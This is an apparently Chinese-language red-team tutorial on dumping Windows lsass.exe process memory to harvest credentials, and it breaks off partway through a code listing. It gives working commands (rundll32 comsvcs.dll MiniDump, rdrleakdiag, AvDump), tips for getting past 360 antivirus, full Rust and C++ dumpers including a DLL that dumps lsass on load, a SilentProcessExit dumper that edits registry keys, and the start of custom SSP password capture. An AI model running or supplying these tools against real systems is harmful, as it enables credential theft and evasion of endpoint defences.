comsvcs.dll
comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。
该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。该文件位于C:\windows\system32\comsvcs.dll
可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:
powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
360同样查杀,这种直接通过调用APIMiniDump
来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。
其它工具
rdleakdiag.exe
默认存在的系统:
Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista
软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
没有的情况可以选择传一个上去。
生成dmp内存文件
rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst
会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。
AvDump.exe
AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.
.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0
但也是会被360查杀。
自主编写dll
调用APIMiniDump的一个demo
这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。
1.创建进程快照
2.初始化第一个要遍历的进程
3.继续下次遍历
4.进程信息结构体
创建进程使用CreateToolhelp32Snapshot
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);
获取第一个进程句柄使用Process32First
BOOL WINAPI Process32First(
HANDLE hSnapshot,//_in,进程快照句柄
LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);
获取下一个进程使用Process32Next
BOOL WINAPI Process32Next(
HANDLE hSnapshot, 从CreateToolhelp32Snapshot 返回的句柄
LPPROCESSENTRY32 lppe 指向PROCESSENTRY32结构的指针,进程信息结构体
);
其中还涉及到PROCESSENTRY32
的结构体对我们有用的就是
- dwSize 初始化结构体的大小
- th32ProcessId 进程ID
- szExeFile[MAX_PATH] 进程路径
typedef struct tagPROCESSENTRY32 { DWORD dwSize; // 结构大小,首次调用之前必须初始化; DWORD cntUsage; // 此进程的引用计数,为0时则进程结束; DWORD th32ProcessID; // 进程ID; DWORD th32DefaultHeapID; // 进程默认堆ID; DWORD th32ModuleID; // 进程模块ID; DWORD cntThreads; // 此进程开启的线程计数; DWORD th32ParentProcessID;// 父进程ID; LONG pcPriClassBase; // 线程优先权; DWORD dwFlags; // 保留; char szExeFile[MAX_PATH]; // 进程全名; } PROCESSENTRY32;
所以rust实现的代码如下
fn getProcess(){ unsafe{ let mut handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0); let mut process_entry : PROCESSENTRY32 = zeroed(); process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32; // let mut process_handle = null_mut(); if !handle.is_null() { if Process32First(handle, &mut process_entry) == 1{ loop { let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice()); println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID); if Process32Next(handle, &mut process_entry) == 0{ break; } } } } } }
完整dump lsass进程内存的代码
use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
fn getPrivilege(handle : HANDLE){
unsafe{
let mut h_token: HANDLE = HANDLE::default();
let mut h_token_ptr: *mut HANDLE = &mut h_token;
let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {
Luid: LUID {
LowPart: 0,
HighPart: 0,
},
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
// 打开当前进程的访问令牌
let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
if token != 0 {
let systemname = ptr::null_mut();
if LookupPrivilegeValueA(
systemname,
b"SeDebugPrivilege\0".as_ptr(),
&mut tkp.Privileges[0].Luid) != 0 {
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// println!("{:?}",tkp.Privileges[0].Attributes);
// 提升当前进程的 SeDebugPrivilege 权限
if AdjustTokenPrivileges(
h_token,
0,
&tkp as *const TOKEN_PRIVILEGES,
0,
ptr::null_mut(),
ptr::null_mut()) != 0 {
println!("Token privileges adjusted successfully");
} else {
let last_error = GetLastError() ;
println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
}
} else {
let last_error = GetLastError() ;
println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
}
// 关闭访问令牌句柄
CloseHandle(h_token);
} else {
let last_error = GetLastError() ;
println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
}
}
}
fn getProcess(LsassFile : &str) {
unsafe{
let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if h_snapshot == INVALID_HANDLE_VALUE {
println!("Failed to call CreateToolhelp32Snapshot");
}
let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ;
process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;
if Process32First(h_snapshot, &mut process_entry) == 0 {
println!("Process32First error");
}
loop {
let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
if extfile.starts_with("lsass.exe"){
println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
break;
}
if Process32Next(h_snapshot, &mut process_entry) == 0 {
println!("Failed to call Process32Next");
break;
}
}
let lsass_pid = process_entry.th32ProcessID;
let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
if process_handle == 0 {
println!("Fail to open the process ");
}
let lsassFile = LsassFile;
let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
let lsasshandle = CreateFileW(
lsassFile.as_ptr() as *const u16,
GENERIC_ALL,
0,
ptr::null_mut(),
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
0,
);
if lsasshandle == INVALID_HANDLE_VALUE {
println!("Fail to open/create file {:?}",LsassFile.to_string());
}
let result = MiniDumpWriteDump(
process_handle,
lsass_pid,
lsasshandle,
MiniDumpWithFullMemory,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
);
println!("{:?}",result);
if result == 1
{
println!("Dump successful with file {:?}",LsassFile.to_string());
} else {
println!("Dump error {:?}", GetLastError());
}
let status = CloseHandle(lsasshandle);
if status != 1 {
error!("Fail to Close file handle");
}
}
}
fn main() {
let matches = App::new("SysWhispers3 - SysWhispers on steroids")
.arg(Arg::with_name("DumpFileName")
.short("f")
.long("DumpFileName")
.takes_value(true)
.help("DumpFileName Path like C:\\temp.dmp")).get_matches();
let mut out_file = "";
if matches.is_present("DumpFileName") {
out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
}else {
out_file = "lsass.dmp";
}
getProcess(out_file);
}
当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。
编写Dump Lsass的DLL(yes)
其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump
函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是
- 获取Debug权限
- 找到lsass的PID
- 使用MiniDump或MiniDumpWriteDump进行内存dump
首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:
NTSTATUS RtlAdjustPrivilege(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
);
函数说明:
RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。
参数说明:
- Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
- Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
- CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
- Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。
返回值:
- 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。
需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。
我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用
LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个
TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过
AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。
所以提升权限可以这样写
void getPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// 打开当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 获取 SeDebugPrivilege 权限的本地权限 ID
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升当前进程的 SeDebugPrivilege 权限
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
{
std::cout << "Token privileges adjusted successfully" << std::endl;
// 关闭访问令牌句柄
CloseHandle(hToken);
}
else {
std::cout << "AdjustTokenPrivileges faile" << std:endl;
}
}
else {
std::cout << "LookupPrivilegeValue faile" << std::endl;
}
}
else {
std::cout << "OpenProcessToken faile" << std::endl;
}
}
再配合上获取lsass进程pid和dump 进程后完整代码就是
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void getPrivilege()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
// 打开当前进程的访问令牌
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 获取 SeDebugPrivilege 权限的本地权限 ID
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升当前进程的 SeDebugPrivilege 权限
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
{
cout << "Token privileges adjusted successfully" << endl;
// 关闭访问令牌句柄
CloseHandle(hToken);
}
else {
cout << "AdjustTokenPrivileges faile" << endl;
}
}
else {
cout << "LookupPrivilegeValue faile" << endl;
}
}
else {
cout << "OpenProcessToken faile" << endl;
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
cout << "GetProcAddress MiniDumpW success" << endl;
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");
getPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int main() {
DumpLsass();
}
SilentProcessExit进行Dump
具体原理参考文章:利用SilentProcessExit机制dump内存
Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。
优点:系统正常行为
缺点:需要写注册表该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:
- (1)被监控进程调用 ExitProcess() 终止自身;
- (2)其他进程调用 TerminateProcess() 结束被监控进程。
也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:
- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件
但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:
添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称 类型 数据
DumpType REG_DWORD 完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder REG_SZ (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD) REG_DWORD a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
c)NOTIFICATION (0x4) – 显示弹窗。
添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称 类型 数据
GlobalFlag REG_DWORD 0x200
另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。
这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。
关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:
typedef enum _MINIDUMP_TYPE {
MiniDumpNormal,
MiniDumpWithDataSegs,
MiniDumpWithFullMemory,
MiniDumpWithHandleData,
MiniDumpFilterMemory,
MiniDumpScanMemory,
MiniDumpWithUnloadedModules,
MiniDumpWithIndirectlyReferencedMemory,
MiniDumpFilterModulePaths,
MiniDumpWithProcessThreadData,
MiniDumpWithPrivateReadWriteMemory,
MiniDumpWithoutOptionalData,
MiniDumpWithFullMemoryInfo,
MiniDumpWithThreadInfo,
MiniDumpWithCodeSegs,
MiniDumpWithoutAuxiliaryState,
MiniDumpWithFullAuxiliaryState,
MiniDumpWithPrivateWriteCopyMemory,
MiniDumpIgnoreInaccessibleMemory,
MiniDumpWithTokenInformation,
MiniDumpWithModuleHeaders,
MiniDumpFilterTriage,
MiniDumpWithAvxXStateContext,
MiniDumpWithIptTrace,
MiniDumpScanInaccessiblePartialPages,
MiniDumpValidTypeFlags
} MINIDUMP_TYPE;
下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:
NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
_In_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);
所以最终的流程就是类似如图
作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit
。
这里使用的是第一种方式来实现的。
代码 https://github.com/haoami/RustHashDump
use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};
use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS;
fn getPrivilege(handle : HANDLE){
unsafe{
let mut h_token: HANDLE = HANDLE::default();
let mut h_token_ptr: *mut HANDLE = &mut h_token;
let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
PrivilegeCount: 1,
Privileges: [LUID_AND_ATTRIBUTES {
Luid: LUID {
LowPart: 0,
HighPart: 0,
},
Attributes: SE_PRIVILEGE_ENABLED,
}],
};
// 打开当前进程的访问令牌
let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
if token != 0 {
let systemname = ptr::null_mut();
if LookupPrivilegeValueA(
systemname,
b"SeDebugPrivilege\0".as_ptr(),
&mut tkp.Privileges[0].Luid) != 0 {
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// println!("{:?}",tkp.Privileges[0].Attributes);
// 提升当前进程的 SeDebugPrivilege 权限
if AdjustTokenPrivileges(
h_token,
0,
&tkp as *const TOKEN_PRIVILEGES,
0,
ptr::null_mut(),
ptr::null_mut()) != 0 {
println!("Token privileges adjusted successfully");
} else {
let last_error = GetLastError() ;
println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
}
} else {
let last_error = GetLastError() ;
println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
}
// 关闭访问令牌句柄
CloseHandle(h_token);
} else {
let last_error = GetLastError() ;
println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
}
}
}
fn getPid(ProcessName : &str) -> u32{
unsafe{
let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if h_snapshot == INVALID_HANDLE_VALUE {
println!("Failed to call CreateToolhelp32Snapshot");
}
let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ;
process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;
if Process32First(h_snapshot, &mut process_entry) == 0 {
println!("Process32First error");
}
loop {
let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
if extfile.starts_with(ProcessName){
break;
}
if Process32Next(h_snapshot, &mut process_entry) == 0 {
println!("Failed to call Process32Next");
break;
}
}
process_entry.th32ProcessID
}
}
fn setRegisterRegs() {
unsafe{
let key = HKEY_LOCAL_MACHINE;
let IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe";
let SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe";
let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>();
let mut hKey = HKEY::default();
let mut hSubKey = HKEY::default();
let ret = RegCreateKeyExW(
key,
OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
0,
null_mut(),
0,
KEY_ALL_ACCESS,
ptr::null_mut(),
&mut hSubKey,
ptr::null_mut());
if ret != 0 {
println!("{:?}",ret);
println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n");
}
let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
let DumpTypekey = CString::new("DumpType").unwrap();
let ret = RegSetValueExA(
hSubKey,
DumpTypekey.as_ptr() as *const u8,
0,
REG_DWORD,
DumpTypevalue,
size_of::<u32>() as u32
);
if ret != 0{
println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe ERROR\n");
}
let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
let ReportingModekey = CString::new("ReportingMode").unwrap();
let ret = RegSetValueExA(
hSubKey,
ReportingModekey.as_ptr() as *const u8,
0,
REG_DWORD,
ReportingModevalue,
size_of::<u32>() as u32
);
if ret != 0{
println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n");
}
let ReportingModevalue = "C:\\temp" ;
let ReportingModekey = CString::new("LocalDumpFolder").unwrap();
let ret = RegSetValueExA(
hSubKey,
ReportingModekey.as_ptr() as *const u8,
0,
REG_SZ,
ReportingModevalue.as_ptr(),
ReportingModevalue.len() as u32
);
if ret != 0{
println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
}
let mut hSubKey = HKEY::default();
let ret = RegCreateKeyExW(
key,
OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
0,
null_mut(),
0,
KEY_ALL_ACCESS,
ptr::null_mut(),
&mut hSubKey,
ptr::null_mut());
if ret != 0 {
println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY);
}
let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ;
let GlobalFlagkey = CString::new("GlobalFlag").unwrap();
let ret = RegSetValueExA(
hSubKey,
GlobalFlagkey.as_ptr() as *const u8,
0,
REG_DWORD,
GlobalFlagvalue,
size_of::<u32>() as u32
);
if ret != 0{
println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
}
println!("SetRegistryReg successful!");
}
}
fn main() {
let matches = App::new("SysWhispers3 - SysWhispers on steroids")
.arg(Arg::with_name("DumpFileName")
.short("f")
.long("DumpFileName")
.takes_value(true)
.help("DumpFileName Path like C:\\temp.dmp")).get_matches();
let mut out_file = "";
if matches.is_present("DumpFileName") {
out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
}else {
out_file = "lsass.dmp";
}
// getProcess(out_file);
getPrivilege(unsafe { GetCurrentProcess() });
setRegisterRegs();
let lsassPid = getPid("lsass.exe");
let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) };
if process_handle == 0 {
println!("Fail to open the Lsassprocess ");
}
unsafe{
let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect();
let h_nt_mod = GetModuleHandleW(ntdll_module_name.as_ptr());
if h_nt_mod ==0 {
println!(" - 获取NTDLL模块句柄失败");
}
let function_name = CString::new("RtlReportSilentProcessExit").unwrap();
let FnRtlreportSilentProcessExit = GetProcAddress(
h_nt_mod,
function_name.as_ptr() as *const u8).expect("") ;
let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit);
let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid);
if h_lsass_proc == 0 {
println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError());
}
println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32);
let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0);
if ntstatus == 0{
println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n");
}else {
println!("FnRtlreportSilentProcessExit error!");
}
}
}
添加自定义的SSP
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
官方解释
在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security
Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。
(1) 使用MemSSP对lsass进行patch
优点:
- 不需要重启服务器
- Lsass进程中不会出现可疑的DLL
缺点:- 需要调用WriteProcessMemory对lsass进行操作,可能会被标记
(2) 使用AddSecurityPackage加载SSP
优点:
- 可以绕过部分杀软对lsass的监控
- 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
- 不需要重启服务器
缺点:- 需要写注册表
- 需要将SSP的dll拷贝到system32下
- Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL
(3) 通过RPC加载SSP
优点:
- 可以绕过杀软对lsass的监控
- 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
- 不需要重启服务器
- 不需要写注册表
缺点:- 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)
这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization
使用AddSecurityPackage加载SSP
完整代码在 https://github.com/haoami/RustSSPdumpHash
lib如下
use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File};
use windows::{
Win32::{
Security::{
Authentication::Identity::{
